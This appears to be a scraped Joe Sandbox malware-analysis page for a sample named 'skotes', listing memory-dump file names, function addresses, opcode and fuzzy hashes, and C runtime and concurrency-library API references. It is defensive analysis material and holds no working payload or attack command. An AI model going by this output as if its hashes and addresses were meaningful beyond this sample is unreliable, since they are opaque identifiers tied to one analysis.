Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 32d0ba7099dddba248c772a1c0ae8216bfb168884afb236ef443958709d29713
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: C9B18A72D242A6AFDB25CFA8D8417BEBBE5EF45340F35416AE844EB242D6348D11CB50

Function 0022504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00225115
___AdjustPointer.LIBCMT ref: 00225138
___AdjustPointer.LIBCMT ref: 002251D4

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 91ed2aed84892c0da5d7adb803c83809d8304713e45f9e96ca051566d94d4375
Instruction ID: 33f24e2bf7c4a0167b1143f9e774f78291117461cf65403cc4eac58e764e2fe8
Opcode Fuzzy Hash: 91ed2aed84892c0da5d7adb803c83809d8304713e45f9e96ca051566d94d4375
Instruction Fuzzy Hash: 7D51E471921A36BFEB298F94E855BBA73A4EF14300F148129E80947291E775ED70CB90

Function 00224C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00224C66
TypeidsEqual.LIBVCRUNTIME ref: 00224C8B
PMDtoOffset.LIBCMT ref: 00224CA1
PMDtoOffset.LIBCMT ref: 00224D22

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction ID: e791e3bc5b80b1ae943b33e0174db4d5b3db59220e7e6e2566e5b037bfb58f9c
Opcode Fuzzy Hash: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction Fuzzy Hash: 9351B235A2422AAFCF11EFA8E480AEEFBF4EF15354F14449AE850A7351D372AD15CB50

Function 0021DB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0021DB64

Part of subcall function 00218F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00218F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 0021DBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 0021DBE9
Concurrency::location::_Assign.LIBCMT ref: 0021DC56

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: 7a14c944b35f625b79e42e2347f031590570844c73eb081cf1f6ea7934b7f37c
Instruction ID: 4fa03f69853bc9e82fb022098707043c341ea06df28a0b33f656ba20a0dedd83
Opcode Fuzzy Hash: 7a14c944b35f625b79e42e2347f031590570844c73eb081cf1f6ea7934b7f37c
Instruction Fuzzy Hash: 43412674624211EBDF19DF24C885BEEBBB5AF64310F04449AE5065B3C2CBB0AD95CBD0

Function 002156AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 002156F2
_InternalDeleteHelper.LIBCONCRT ref: 00215726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 0021578B
SafeRWList.LIBCONCRT ref: 0021579A

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: 212801de2e820da554024077aaca11312c34e97367a5167225759455be615b2d
Instruction ID: 0f4d115465a8c845419164caba2c6c168a1420233d6bca49b4f5eaabf6bb02c8
Opcode Fuzzy Hash: 212801de2e820da554024077aaca11312c34e97367a5167225759455be615b2d
Instruction Fuzzy Hash: F0312336711621DFDB059F20D881AEDB3E6AFD9710F1842B8ED099B395DB30AD458B90

Function 00212CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00212D0F

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: 9d78d3389770e1da532a9ab9b3811f5a5bd6aaf8bfaeb599f63e7528c585e6b5
Instruction ID: 6cdacd19555346734cff2dd7435b823c15b7dcf28e22b400ad8c98dbc6de67e9
Opcode Fuzzy Hash: 9d78d3389770e1da532a9ab9b3811f5a5bd6aaf8bfaeb599f63e7528c585e6b5
Instruction Fuzzy Hash: 1C313B75A10309DFCF10DF94D8C0BEE7BF9AB65310F1404AAED019B246D770A9A9DBA0

Function 002213F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 002213FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 00221447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 0022147A
